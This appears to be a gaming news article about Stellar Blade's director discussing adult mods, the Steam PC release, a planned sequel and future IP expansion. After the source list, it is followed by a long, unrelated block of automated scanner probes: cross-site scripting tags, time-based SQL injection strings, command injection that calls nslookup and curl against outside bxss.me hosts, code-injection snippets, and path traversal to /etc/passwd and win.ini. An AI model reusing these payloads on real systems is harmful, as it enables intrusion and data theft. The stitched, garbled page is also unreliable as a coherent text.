Stellar Blade Director is not a fan of restricting adult mods. Read on to learn more about the developers’ insights on the modding aspect of the game and the studios’ plans on expanding the title.
Stellar Blade Director on Player Freedom and Future Plans
Mods Expand the Gameplay Experience
With the game now available on Steam, it looks like Stellar Blade will continue to allow mods in the near future—even the more adult ones. Stellar Blade Director and ShiftUp CEO Hyung-tae Kim thinks that modding expands the gameplay experience and scope of the game. In an interview with South Korean video game news outlet This Is Game on June 14, Kim views modding in a positive light as long as it is not abused. He added, "However, there are cases where it is close to hacking or interferes with the normal operation of the game. Please keep that in mind."
Meanwhile, Technical Director Dong-gi Lee said that some mods may present game malfunctions, so fans should be careful. He explained, "Mods aren't the result of our review or testing. It's okay for users to enjoy the game using the mod, but if you feel any problems with the game's behavior, we recommend that you revert it back to its original state and test it."
Kim also delved into the topic of adult mods and said that he isn’t a fan of restricting players’ creativity. He emphasized that Stellar Blade is not rated for teens, so there is no reason to prohibit such mods. Kim wanted players to enjoy the creative culture and for everyone who owns it to partake in the game.
"It is the user's freedom, and as long as they own the game, how they enjoy it depends entirely on the user's choice. So I don't intend to impose sanctions on that aspect. However, since all of you are mature members of society, I believe that you will act with common sense and be careful about antisocial or sensitive areas," he explained.
In terms of the game characters being inappropriately used by some users, Kim elaborated that it is the players’ responsibility to handle these situations since the company has already "sold" the game to them. He believes that it is important for users to "own" games rather than adopt the concept of "renting" games, which is quite prevalent in the video game industry today.
Even so, he noted, "Of course, if it turns into a situation where it harms the public, we will have to take action, but we have not seen such a case yet. I think it is a problem that can be solved by the self-policing of individuals and communities, rather than a question of whether it is negative or positive, and I believe in its net function."
Kim stated that whatever players do with their games after purchasing them is beyond their intervention, so he does not want to impose any sanctions in that aspect.
Supposed DLC Became Sequel
On May 16, ShiftUp held its investor report (IR) presentation, which revealed that the studio has the Stellar Blade sequel in its timeline, hoping to release it before 2027. Kim confirmed that "Stellar Blade 2" exists, but the team is focused on the recently released PC version.
He revealed that the sequel was supposed to be a DLC for the current game, but became larger than expected, so it was moved to the next game. "It would be great if it came out in 2027, but since there are only three years left, I can only say that I will try my best. But I can assure you that it's going to be great," Kim said.
He admitted that Stellar Blade’s narrative was poor due to having more focus on its gameplay and action aspects, and that Korea’s development for narrative-driven games has yet to be established. Kim is cautious about suddenly adding more content now, but promised to deliver a better narrative for the sequel.
Regardless, Stellar Blade continues to rise in popularity with its PC version reaching over 192,078 concurrent players according to SteamDB, and having "Very Positive" reviews on Steam.
Here at Game8, we gave Stellar Blade’s PC release a 90 out of 100 for its visual upgrades, new missions, and fresh outfits, making this version feel like the complete package. The decision to lift regional restrictions also made the game more accessible worldwide. To know more about our thoughts on the game, check out our article below!
Future Updates and IP Expansion
With Stellar Blade’s first release on the PlayStation 5, the game received multiple updates like boss rushes, summer events, and others, so fans wondered if the PC version would have the same treatment.
Both Kim and Lee mentioned that they are currently focused on bug fixes and patches for the game’s PC version. Despite this, Kim said that if there is strong clamor for additional content, they will consider it.
In terms of releasing on other platforms beyond PlayStation and PC, Kim expressed his interest in them, but would need to have further discussions with their publisher, Sony. "I think that the time is coming when we have to prepare for multi-platform support in the future. I don't know what will happen to this game, but you can expect multi-platform in future works," he stated.
Furthermore, the company has plans to expand the IP, as they are looking to get into animation production and possibly a spin-off title. Although nothing has been specified yet, Kim hopes fans to look forward to it.
Stellar Blade’s PC release has been a success, and with its sequel on the horizon, fans can expect more of the femme-fatal action-adventure. Stellar Blade’s PC version is now available on Steam. To stay up to date with the latest information about the game, check out our article below!
Source:
Stellar Blade 'Behind the Scenes' and Mode Policy, 'Hear directly from Director Kim Hyung-hyung'
ShiftUp IR Presentation (May 16, 2025)
Stellar Blade SteamDB Charts
Stellar Blade Steam page
9828534
'"()&%<zzz><ScRiPt >YVnO(9475)</ScRiPt>
'"()&%<zzz><ScRiPt >YVnO(9293)</ScRiPt>
@@F6Yhg
����%2527%2522\'\"
'"
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Jsn5EfyN')) OR 847=(SELECT 847 FROM PG_SLEEP(15))--
ReShDEM4' OR 209=(SELECT 209 FROM PG_SLEEP(15))--
-1) OR 118=(SELECT 118 FROM PG_SLEEP(15))--
-1)) OR 218=(SELECT 218 FROM PG_SLEEP(15))--
YWXMqer7') OR 274=(SELECT 274 FROM PG_SLEEP(15))--
-1 OR 107=(SELECT 107 FROM PG_SLEEP(15))--
LFx7u0gB'; waitfor delay '0:0:15' --
-1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
-1' OR 2+950-950-1=0+0+0+1 or '5HUgDds1'='
-1" OR 2+734-734-1=0+0+0+1 --
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
*if(now()=sysdate(),sleep(15),0)
-1' OR 2+446-446-1=0+0+0+1 --
-1 OR 2+356-356-1=0+0+0+1
-1 OR 2+693-693-1=0+0+0+1 --
kGvNe2el
9789796
'"()&%<zzz><ScRiPt >7G5K(9380)</ScRiPt>
'"()&%<zzz><ScRiPt >7G5K(9419)</ScRiPt>
<!--
&(nslookup${IFS}-q${IFS}cname${IFS}hitiotuirvgve5e074.bxss.me||curl${IFS}hitiotuirvgve5e074.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitiotuirvgve5e074.bxss.me||curl${IFS}hitiotuirvgve5e074.bxss.me)&`'
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
xfs.bxss.me
'"
|(nslookup${IFS}-q${IFS}cname${IFS}hitagbiaobwcv263c8.bxss.me||curl${IFS}hitagbiaobwcv263c8.bxss.me)
;(nslookup -q=cname hitjqkutpycaz86d0a.bxss.me||curl hitjqkutpycaz86d0a.bxss.me)|(nslookup -q=cname hitjqkutpycaz86d0a.bxss.me||curl hitjqkutpycaz86d0a.bxss.me)&(nslookup -q=cname hitjqkutpycaz86d0a.bxss.me||curl hitjqkutpycaz86d0a.bxss.me)
`(nslookup -q=cname hitwjxuyaxdvx72990.bxss.me||curl hitwjxuyaxdvx72990.bxss.me)`
|(nslookup -q=cname hitfcmtaoxzfp17d05.bxss.me||curl hitfcmtaoxzfp17d05.bxss.me)
&(nslookup -q=cname hitsufgjlvqdl0b5de.bxss.me||curl hitsufgjlvqdl0b5de.bxss.me)&'\"`0&(nslookup -q=cname hitsufgjlvqdl0b5de.bxss.me||curl hitsufgjlvqdl0b5de.bxss.me)&`'
&nslookup -q=cname hitnvruydqbap1d756.bxss.me&'\"`0&nslookup -q=cname hitnvruydqbap1d756.bxss.me&`'
$(nslookup -q=cname hitwwpwctxzkye75af.bxss.me||curl hitwwpwctxzkye75af.bxss.me)
"||sleep(27*1000)*kpvbyv||"
'.print(md5(31337)).'
(nslookup -q=cname hitpdeumksvcha1acd.bxss.me||curl hitpdeumksvcha1acd.bxss.me))
'||sleep(27*1000)*aavxhw||'
expr 9000354877 - 976888
comments/.
|echo pjwawc$()\ ietsiy
z^xyu||a #' |echo pjwawc$()\ ietsiy
z^xyu||a #|" |echo pjwawc$()\ ietsiy
z^xyu||a #
comments
"&&sleep(27*1000)*mczrgv&&"
&echo rlircy$()\ qkkcjg
z^xyu||a #' &echo rlircy$()\ qkkcjg
z^xyu||a #|" &echo rlircy$()\ qkkcjg
z^xyu||a #
comments
${@print(md5(31337))}\
'&&sleep(27*1000)*hdzpta&&'
';print(md5(31337));$a='
";print(md5(31337));$a="
'"()
${@print(md5(31337))}
echo gdpbdq$()\ deextb
z^xyu||a #' &echo gdpbdq$()\ deextb
z^xyu||a #|" &echo gdpbdq$()\ deextb
z^xyu||a #
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
".gethostbyname(lc("hitiv"."nauetbgy3c957.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(66).chr(107).chr(86)."
HttP://bxss.me/t/xss.html?%00
/etc/shells
../../../../../../../../../../../../../../etc/shells
gethostbyname(lc('hitej'.'zvetythlfc523.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(89).chr(114).chr(83)
bxss.me/t/xss.html?%00
c:/windows/win.ini
'+'A'.concat(70-3).concat(22*4).concat(111).concat(89).concat(112).concat(67)+(require'socket' Socket.gethostbyname('hitdm'+'bcnfoglmf098c.bxss.me.')[3].to_s)+'
bxss.me
'A'.concat(70-3).concat(22*4).concat(110).concat(80).concat(108).concat(69)+(require'socket' Socket.gethostbyname('hityu'+'qiegwbqi17fdd.bxss.me.')[3].to_s)
"+"A".concat(70-3).concat(22*4).concat(117).concat(75).concat(109).concat(73)+(require"socket" Socket.gethostbyname("hitrc"+"zehudfce74c95.bxss.me.")[3].to_s)+"
<a href='http://bxss.me/t/fit.txt?.jpg' target='_black' rel='nofollow'>http://bxss.me/t/fit.txt?.jpg</a>
'.gethostbyname(lc('hitma'.'ujdddalsefdc9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(73).chr(98).chr(69).'
../
Http://bxss.me/t/fit.txt
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
<a href='http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg' target='_black' rel='nofollow'>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg</a>
../../../../../../../../../../../../../../windows/win.ini
^(#$!@#$)(()))******
../../../../../../../../../../../../../../etc/passwd
redirtest.acx
file:///etc/passwd
ctime sleep p0 (I30 tp1 Rp2 .
!(()&&!|*|*|
)
12345'"\'\");|]* { <